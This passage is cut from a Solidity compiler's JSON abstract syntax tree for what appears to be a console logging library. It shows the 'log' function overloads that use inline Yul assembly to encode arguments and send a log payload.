28"},"value":"0x1c"},{"hexValue":"30783434","id":33939,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9814:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":33937,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"9792:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9792:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33941,"nodeType":"ExpressionStatement","src":"9792:27:22"},{"AST":{"nativeSrc":"9838:98:22","nodeType":"YulBlock","src":"9838:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"9859:4:22","nodeType":"YulLiteral","src":"9859:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"9865:2:22","nodeType":"YulIdentifier","src":"9865:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9852:6:22","nodeType":"YulIdentifier","src":"9852:6:22"},"nativeSrc":"9852:16:22","nodeType":"YulFunctionCall","src":"9852:16:22"},"nativeSrc":"9852:16:22","nodeType":"YulExpressionStatement","src":"9852:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9888:4:22","nodeType":"YulLiteral","src":"9888:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"9894:2:22","nodeType":"YulIdentifier","src":"9894:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9881:6:22","nodeType":"YulIdentifier","src":"9881:6:22"},"nativeSrc":"9881:16:22","nodeType":"YulFunctionCall","src":"9881:16:22"},"nativeSrc":"9881:16:22","nodeType":"YulExpressionStatement","src":"9881:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9917:4:22","nodeType":"YulLiteral","src":"9917:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"9923:2:22","nodeType":"YulIdentifier","src":"9923:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9910:6:22","nodeType":"YulIdentifier","src":"9910:6:22"},"nativeSrc":"9910:16:22","nodeType":"YulFunctionCall","src":"9910:16:22"},"nativeSrc":"9910:16:22","nodeType":"YulExpressionStatement","src":"9910:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33928,"isOffset":false,"isSlot":false,"src":"9865:2:22","valueSize":1},{"declaration":33931,"isOffset":false,"isSlot":false,"src":"9894:2:22","valueSize":1},{"declaration":33934,"isOffset":false,"isSlot":false,"src":"9923:2:22","valueSize":1}],"id":33942,"nodeType":"InlineAssembly","src":"9829:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9421:3:22","parameters":{"id":33925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33922,"mutability":"mutable","name":"p0","nameLocation":"9430:2:22","nodeType":"VariableDeclaration","scope":33944,"src":"9425:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33921,"name":"bool","nodeType":"ElementaryTypeName","src":"9425:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":33924,"mutability":"mutable","name":"p1","nameLocation":"9442:2:22","nodeType":"VariableDeclaration","scope":33944,"src":"9434:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33923,"name":"uint256","nodeType":"ElementaryTypeName","src":"9434:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9424:21:22"},"returnParameters":{"id":33926,"nodeType":"ParameterList","parameters":[],"src":"9460:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33974,"nodeType":"FunctionDefinition","src":"9948:1078:22","nodes":[],"body":{"id":33973,"nodeType":"Block","src":"9996:1030:22","nodes":[],"statements":[{"assignments":[33952],"declarations":[{"constant":false,"id":33952,"mutability":"mutable","name":"m0","nameLocation":"10014:2:22","nodeType":"VariableDeclaration","scope":33973,"src":"10006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33951,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33953,"nodeType":"VariableDeclarationStatement","src":"10006:10:22"},{"assignments":[33955],"declarations":[{"constant":false,"id":33955,"mutability":"mutable","name":"m1","nameLocation":"10034:2:22","nodeType":"VariableDeclaration","scope":33973,"src":"10026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33954,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10026:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33956,"nodeType":"VariableDeclarationStatement","src":"10026:10:22"},{"assignments":[33958],"declarations":[{"constant":false,"id":33958,"mutability":"mutable","name":"m2","nameLocation":"10054:2:22","nodeType":"VariableDeclaration","scope":33973,"src":"10046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33957,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33959,"nodeType":"VariableDeclarationStatement","src":"10046:10:22"},{"assignments":[33961],"declarations":[{"constant":false,"id":33961,"mutability":"mutable","name":"m3","nameLocation":"10074:2:22","nodeType":"VariableDeclaration","scope":33973,"src":"10066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33960,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10066:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33962,"nodeType":"VariableDeclarationStatement","src":"10066:10:22"},{"assignments":[33964],"declarations":[{"constant":false,"id":33964,"mutability":"mutable","name":"m4","nameLocation":"10094:2:22","nodeType":"VariableDeclaration","scope":33973,"src":"10086:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33963,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10086:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33965,"nodeType":"VariableDeclarationStatement","src":"10086:10:22"},{"AST":{"nativeSrc":"10115:694:22","nodeType":"YulBlock","src":"10115:694:22","statements":[{"body":{"nativeSrc":"10158:313:22","nodeType":"YulBlock","src":"10158:313:22","statements":[{"nativeSrc":"10176:15:22","nodeType":"YulVariableDeclaration","src":"10176:15:22","value":{"kind":"number","nativeSrc":"10190:1:22","nodeType":"YulLiteral","src":"10190:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"10180:6:22","nodeType":"YulTypedName","src":"10180:6:22","type":""}]},{"body":{"nativeSrc":"10261:40:22","nodeType":"YulBlock","src":"10261:40:22","statements":[{"body":{"nativeSrc":"10290:9:22","nodeType":"YulBlock","src":"10290:9:22","statements":[{"nativeSrc":"10292:5:22","nodeType":"YulBreak","src":"10292:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"10278:6:22","nodeType":"YulIdentifier","src":"10278:6:22"},{"name":"w","nativeSrc":"10286:1:22","nodeType":"YulIdentifier","src":"10286:1:22"}],"functionName":{"name":"byte","nativeSrc":"10273:4:22","nodeType":"YulIdentifier","src":"10273:4:22"},"nativeSrc":"10273:15:22","nodeType":"YulFunctionCall","src":"10273:15:22"}],"functionName":{"name":"iszero","nativeSrc":"10266:6:22","nodeType":"YulIdentifier","src":"10266:6:22"},"nativeSrc":"10266:23:22","nodeType":"YulFunctionCall","src":"10266:23:22"},"nativeSrc":"10263:36:22","nodeType":"YulIf","src":"10263:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"10218:6:22","nodeType":"YulIdentifier","src":"10218:6:22"},{"kind":"number","nativeSrc":"10226:4:22","nodeType":"YulLiteral","src":"10226:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"10215:2:22","nodeType":"YulIdentifier","src":"10215:2:22"},"nativeSrc":"10215:16:22","nodeType":"YulFunctionCall","src":"10215:16:22"},"nativeSrc":"10208:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"10232:28:22","nodeType":"YulBlock","src":"10232:28:22","statements":[{"nativeSrc":"10234:24:22","nodeType":"YulAssignment","src":"10234:24:22","value":{"arguments":[{"name":"length","nativeSrc":"10248:6:22","nodeType":"YulIdentifier","src":"10248:6:22"},{"kind":"number","nativeSrc":"10256:1:22","nodeType":"YulLiteral","src":"10256:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"10244:3:22","nodeType":"YulIdentifier","src":"10244:3:22"},"nativeSrc":"10244:14:22","nodeType":"YulFunctionCall","src":"10244:14:22"},"variableNames":[{"name":"length","nativeSrc":"10234:6:22","nodeType":"YulIdentifier","src":"10234:6:22"}]}]},"pre":{"nativeSrc":"10212:2:22","nodeType":"YulBlock","src":"10212:2:22","statements":[]},"src":"10208:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"10325:3:22","nodeType":"YulIdentifier","src":"10325:3:22"},{"name":"length","nativeSrc":"10330:6:22","nodeType":"YulIdentifier","src":"10330:6:22"}],"functionName":{"name":"mstore","nativeSrc":"10318:6:22","nodeType":"YulIdentifier","src":"10318:6:22"},"nativeSrc":"10318:19:22","nodeType":"YulFunctionCall","src":"10318:19:22"},"nativeSrc":"10318:19:22","nodeType":"YulExpressionStatement","src":"10318:19:22"},{"nativeSrc":"10354:37:22","nodeType":"YulVariableDeclaration","src":"10354:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"10371:3:22","nodeType":"YulLiteral","src":"10371:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"10380:1:22","nodeType":"YulLiteral","src":"10380:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"10383:6:22","nodeType":"YulIdentifier","src":"10383:6:22"}],"functionName":{"name":"shl","nativeSrc":"10376:3:22","nodeType":"YulIdentifier","src":"10376:3:22"},"nativeSrc":"10376:14:22","nodeType":"YulFunctionCall","src":"10376:14:22"}],"functionName":{"name":"sub","nativeSrc":"10367:3:22","nodeType":"YulIdentifier","src":"10367:3:22"},"nativeSrc":"10367:24:22","nodeType":"YulFunctionCall","src":"10367:24:22"},"variables":[{"name":"shift","nativeSrc":"10358:5:22","nodeType":"YulTypedName","src":"10358:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"10419:3:22","nodeType":"YulIdentifier","src":"10419:3:22"},{"kind":"number","nativeSrc":"10424:4:22","nodeType":"YulLiteral","src":"10424:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"10415:3:22","nodeType":"YulIdentifier","src":"10415:3:22"},"nativeSrc":"10415:14:22","nodeType":"YulFunctionCall","src":"10415:14:22"},{"arguments":[{"name":"shift","nativeSrc":"10435:5:22","nodeType":"YulIdentifier","src":"10435:5:22"},{"arguments":[{"name":"shift","nativeSrc":"10446:5:22","nodeType":"YulIdentifier","src":"10446:5:22"},{"name":"w","nativeSrc":"10453:1:22","nodeType":"YulIdentifier","src":"10453:1:22"}],"functionName":{"name":"shr","nativeSrc":"10442:3:22","nodeType":"YulIdentifier","src":"10442:3:22"},"nativeSrc":"10442:13:22","nodeType":"YulFunctionCall","src":"10442:13:22"}],"functionName":{"name":"shl","nativeSrc":"10431:3:22","nodeType":"YulIdentifier","src":"10431:3:22"},"nativeSrc":"10431:25:22","nodeType":"YulFunctionCall","src":"10431:25:22"}],"functionName":{"name":"mstore","nativeSrc":"10408:6:22","nodeType":"YulIdentifier","src":"10408:6:22"},"nativeSrc":"10408:49:22","nodeType":"YulFunctionCall","src":"10408:49:22"},"nativeSrc":"10408:49:22","nodeType":"YulExpressionStatement","src":"10408:49:22"}]},"name":"writeString","nativeSrc":"10129:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"10150:3:22","nodeType":"YulTypedName","src":"10150:3:22","type":""},{"name":"w","nativeSrc":"10155:1:22","nodeType":"YulTypedName","src":"10155:1:22","type":""}],"src":"10129:342:22"},{"nativeSrc":"10484:17:22","nodeType":"YulAssignment","src":"10484:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"10496:4:22","nodeType":"YulLiteral","src":"10496:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"10490:5:22","nodeType":"YulIdentifier","src":"10490:5:22"},"nativeSrc":"10490:11:22","nodeType":"YulFunctionCall","src":"10490:11:22"},"variableNames":[{"name":"m0","nativeSrc":"10484:2:22","nodeType":"YulIdentifier","src":"10484:2:22"}]},{"nativeSrc":"10514:17:22","nodeType":"YulAssignment","src":"10514:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"10526:4:22","nodeType":"YulLiteral","src":"10526:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"10520:5:22","nodeType":"YulIdentifier","src":"10520:5:22"},"nativeSrc":"10520:11:22","nodeType":"YulFunctionCall","src":"10520:11:22"},"variableNames":[{"name":"m1","nativeSrc":"10514:2:22","nodeType":"YulIdentifier","src":"10514:2:22"}]},{"nativeSrc":"10544:17:22","nodeType":"YulAssignment","src":"10544:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"10556:4:22","nodeType":"YulLiteral","src":"10556:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"10550:5:22","nodeType":"YulIdentifier","src":"10550:5:22"},"nativeSrc":"10550:11:22","nodeType":"YulFunctionCall","src":"10550:11:22"},"variableNames":[{"name":"m2","nativeSrc":"10544:2:22","nodeType":"YulIdentifier","src":"10544:2:22"}]},{"nativeSrc":"10574:17:22","nodeType":"YulAssignment","src":"10574:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"10586:4:22","nodeType":"YulLiteral","src":"10586:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"10580:5:22","nodeType":"YulIdentifier","src":"10580:5:22"},"nativeSrc":"10580:11:22","nodeType":"YulFunctionCall","src":"10580:11:22"},"variableNames":[{"name":"m3","nativeSrc":"10574:2:22","nodeType":"YulIdentifier","src":"10574:2:22"}]},{"nativeSrc":"10604:17:22","nodeType":"YulAssignment","src":"10604:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"10616:4:22","nodeType":"YulLiteral","src":"10616:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"10610:5:22","nodeType":"YulIdentifier","src":"10610:5:22"},"nativeSrc":"10610:11:22","nodeType":"YulFunctionCall","src":"10610:11:22"},"variableNames":[{"name":"m4","nativeSrc":"10604:2:22","nodeType":"YulIdentifier","src":"10604:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"10688:4:22","nodeType":"YulLiteral","src":"10688:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"10694:10:22","nodeType":"YulLiteral","src":"10694:10:22","type":"","value":"0x8feac525"}],"functionName":{"name":"mstore","nativeSrc":"10681:6:22","nodeType":"YulIdentifier","src":"10681:6:22"},"nativeSrc":"10681:24:22","nodeType":"YulFunctionCall","src":"10681:24:22"},"nativeSrc":"10681:24:22","nodeType":"YulExpressionStatement","src":"10681:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"10725:4:22","nodeType":"YulLiteral","src":"10725:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"10731:2:22","nodeType":"YulIdentifier","src":"10731:2:22"}],"functionName":{"name":"mstore","nativeSrc":"10718:6:22","nodeType":"YulIdentifier","src":"10718:6:22"},"nativeSrc":"10718:16:22","nodeType":"YulFunctionCall","src":"10718:16:22"},"nativeSrc":"10718:16:22","nodeType":"YulExpressionStatement","src":"10718:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"10754:4:22","nodeType":"YulLiteral","src":"10754:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"10760:4:22","nodeType":"YulLiteral","src":"10760:4:22","type":"","value":"0x40"}],"functionName":{"name":"mstore","nativeSrc":"10747:6:22","nodeType":"YulIdentifier","src":"10747:6:22"},"nativeSrc":"10747:18:22","nodeType":"YulFunctionCall","src":"10747:18:22"},"nativeSrc":"10747:18:22","nodeType":"YulExpressionStatement","src":"10747:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"10790:4:22","nodeType":"YulLiteral","src":"10790:4:22","type":"","value":"0x60"},{"name":"p1","nativeSrc":"10796:2:22","nodeType":"YulIdentifier","src":"10796:2:22"}],"functionName":{"name":"writeString","nativeSrc":"10778:11:22","nodeType":"YulIdentifier","src":"10778:11:22"},"nativeSrc":"10778:21:22","nodeType":"YulFunctionCall","src":"10778:21:22"},"nativeSrc":"10778:21:22","nodeType":"YulExpressionStatement","src":"10778:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33952,"isOffset":false,"isSlot":false,"src":"10484:2:22","valueSize":1},{"declaration":33955,"isOffset":false,"isSlot":false,"src":"10514:2:22","valueSize":1},{"declaration":33958,"isOffset":false,"isSlot":false,"src":"10544:2:22","valueSize":1},{"declaration":33961,"isOffset":false,"isSlot":false,"src":"10574:2:22","valueSize":1},{"declaration":33964,"isOffset":false,"isSlot":false,"src":"10604:2:22","valueSize":1},{"declaration":33946,"isOffset":false,"isSlot":false,"src":"10731:2:22","valueSize":1},{"declaration":33948,"isOffset":false,"isSlot":false,"src":"10796:2:22","valueSize":1}],"id":33966,"nodeType":"InlineAssembly","src":"10106:703:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33968,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10834:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":33969,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10840:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":33967,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"10818:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10818:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33971,"nodeType":"ExpressionStatement","src":"10818:27:22"},{"AST":{"nativeSrc":"10864:156:22","nodeType":"YulBlock","src":"10864:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"10885:4:22","nodeType":"YulLiteral","src":"10885:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"10891:2:22","nodeType":"YulIdentifier","src":"10891:2:22"}],"functionName":{"name":"mstore","nativeSrc":"10878:6:22","nodeType":"YulIdentifier","src":"10878:6:22"},"nativeSrc":"10878:16:22","nodeType":"YulFunctionCall","src":"10878:16:22"},"nativeSrc":"10878:16:22","nodeType":"YulExpressionStatement","src":"10878:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"10914:4:22","nodeType":"YulLiteral","src":"10914:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"10920:2:22","nodeType":"YulIdentifier","src":"10920:2:22"}],"functionName":{"name":"mstore","nativeSrc":"10907:6:22","nodeType":"YulIdentifier","src":"10907:6:22"},"nativeSrc":"10907:16:22","nodeType":"YulFunctionCall","src":"10907:16:22"},"nativeSrc":"10907:16:22","nodeType":"YulExpressionStatement","src":"10907:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"10943:4:22","nodeType":"YulLiteral","src":"10943:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"10949:2:22","nodeType":"YulIdentifier","src":"10949:2:22"}],"functionName":{"name":"mstore","nativeSrc":"10936:6:22","nodeType":"YulIdentifier","src":"10936:6:22"},"nativeSrc":"10936:16:22","nodeType":"YulFunctionCall","src":"10936:16:22"},"nativeSrc":"10936:16:22","nodeType":"YulExpressionStatement","src":"10936:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"10972:4:22","nodeType":"YulLiteral","src":"10972:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"10978:2:22","nodeType":"YulIdentifier","src":"10978:2:22"}],"functionName":{"name":"mstore","nativeSrc":"10965:6:22","nodeType":"YulIdentifier","src":"10965:6:22"},"nativeSrc":"10965:16:22","nodeType":"YulFunctionCall","src":"10965:16:22"},"nativeSrc":"10965:16:22","nodeType":"YulExpressionStatement","src":"10965:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11001:4:22","nodeType":"YulLiteral","src":"11001:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"11007:2:22","nodeType":"YulIdentifier","src":"11007:2:22"}],"functionName":{"name":"mstore","nativeSrc":"10994:6:22","nodeType":"YulIdentifier","src":"10994:6:22"},"nativeSrc":"10994:16:22","nodeType":"YulFunctionCall","src":"10994:16:22"},"nativeSrc":"10994:16:22","nodeType":"YulExpressionStatement","src":"10994:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33952,"isOffset":false,"isSlot":false,"src":"10891:2:22","valueSize":1},{"declaration":33955,"isOffset":false,"isSlot":false,"src":"10920:2:22","valueSize":1},{"declaration":33958,"isOffset":false,"isSlot":false,"src":"10949:2:22","valueSize":1},{"declaration":33961,"isOffset":false,"isSlot":false,"src":"10978:2:22","valueSize":1},{"declaration":33964,"isOffset":false,"isSlot":false,"src":"11007:2:22","valueSize":1}],"id":33972,"nodeType":"InlineAssembly","src":"10855:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9957:3:22","parameters":{"id":33949,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33946,"mutability":"mutable","name":"p0","nameLocation":"9966:2:22","nodeType":"VariableDeclaration","scope":33974,"src":"9961:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33945,"name":"bool","nodeType":"ElementaryTypeName","src":"9961:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":33948,"mutability":"mutable","name":"p1","nameLocation":"9978:2:22","nodeType":"VariableDeclaration","scope":33974,"src":"9970:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33947,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9970:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"9960:21:22"},"returnParameters":{"id":33950,"nodeType":"ParameterList","parameters":[],"src":"9996:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33998,"nodeType":"FunctionDefinition","src":"11032:536:22","nodes":[],"body":{"id":33997,"nodeType":"Block","src":"11083:485:22","nodes":[],"statements":[{"assignments":[33982],"declarations":[{"constant":false,"id":33982,"mutability":"mutable","name":"m0","nameLocation":"11101:2:22","nodeType":"VariableDeclaration","scope":33997,"src":"11093:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33981,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11093:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33983,"nodeType":"VariableDeclarationStatement","src":"11093:10:22"},{"assignments":[33985],"declarations":[{"constant":false,"id":33985,"mutability":"mutable","name":"m1","nameLocation":"11121:2:22","nodeType":"VariableDeclaration","scope":33997,"src":"11113:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33984,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11113:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33986,"nodeType":"VariableDeclarationStatement","src":"11113:10:22"},{"assignments":[33988],"declarations":[{"constant":false,"id":33988,"mutability":"mutable","name":"m2","nameLocation":"11141:2:22","nodeType":"VariableDeclaration","scope":33997,"src":"11133:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33987,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11133:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33989,"nodeType":"VariableDeclarationStatement","src":"11133:10:22"},{"AST":{"nativeSrc":"11162:247:22","nodeType":"YulBlock","src":"11162:247:22","statements":[{"nativeSrc":"11176:17:22","nodeType":"YulAssignment","src":"11176:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"11188:4:22","nodeType":"YulLiteral","src":"11188:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"11182:5:22","nodeType":"YulIdentifier","src":"11182:5:22"},"nativeSrc":"11182:11:22","nodeType":"YulFunctionCall","src":"11182:11:22"},"variableNames":[{"name":"m0","nativeSrc":"11176:2:22","nodeType":"YulIdentifier","src":"11176:2:22"}]},{"nativeSrc":"11206:17:22","nodeType":"YulAssignment","src":"11206:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"11218:4:22","nodeType":"YulLiteral","src":"11218:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"11212:5:22","nodeType":"YulIdentifier","src":"11212:5:22"},"nativeSrc":"11212:11:22","nodeType":"YulFunctionCall","src":"11212:11:22"},"variableNames":[{"name":"m1","nativeSrc":"11206:2:22","nodeType":"YulIdentifier","src":"11206:2:22"}]},{"nativeSrc":"11236:17:22","nodeType":"YulAssignment","src":"11236:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"11248:4:22","nodeType":"YulLiteral","src":"11248:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"11242:5:22","nodeType":"YulIdentifier","src":"11242:5:22"},"nativeSrc":"11242:11:22","nodeType":"YulFunctionCall","src":"11242:11:22"},"variableNames":[{"name":"m2","nativeSrc":"11236:2:22","nodeType":"YulIdentifier","src":"11236:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11324:4:22","nodeType":"YulLiteral","src":"11324:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"11330:10:22","nodeType":"YulLiteral","src":"11330:10:22","type":"","value":"0x69276c86"}],"functionName":{"name":"mstore","nativeSrc":"11317:6:22","nodeType":"YulIdentifier","src":"11317:6:22"},"nativeSrc":"11317:24:22","nodeType":"YulFunctionCall","src":"11317:24:22"},"nativeSrc":"11317:24:22","nodeType":"YulExpressionStatement","src":"11317:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11361:4:22","nodeType":"YulLiteral","src":"11361:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"11367:2:22","nodeType":"YulIdentifier","src":"11367:2:22"}],"functionName":{"name":"mstore","nativeSrc":"11354:6:22","nodeType":"YulIdentifier","src":"11354:6:22"},"nativeSrc":"11354:16:22","nodeType":"YulFunctionCall","src":"11354:16:22"},"nativeSrc":"11354:16:22","nodeType":"YulExpressionStatement","src":"11354:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11390:4:22","nodeType":"YulLiteral","src":"11390:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"11396:2:22","nodeType":"YulIdentifier","src":"11396:2:22"}],"functionName":{"name":"mstore","nativeSrc":"11383:6:22","nodeType":"YulIdentifier","src":"11383:6:22"},"nativeSrc":"11383:16:22","nodeType":"YulFunctionCall","src":"11383:16:22"},"nativeSrc":"11383:16:22","nodeType":"YulExpressionStatement","src":"11383:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33982,"isOffset":false,"isSlot":false,"src":"11176:2:22","valueSize":1},{"declaration":33985,"isOffset":false,"isSlot":false,"src":"11206:2:22","valueSize":1},{"declaration":33988,"isOffset":false,"isSlot":false,"src":"11236:2:22","valueSize":1},{"declaration":33976,"isOffset":false,"isSlot":false,"src":"11367:2:22","valueSize":1},{"declaration":33978,"isOffset":false,"isSlot":false,"src":"11396:2:22","valueSize":1}],"id":33990,"nodeType":"InlineAssembly","src":"11153:256:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33992,"isConstant":false,"isLValue":false,"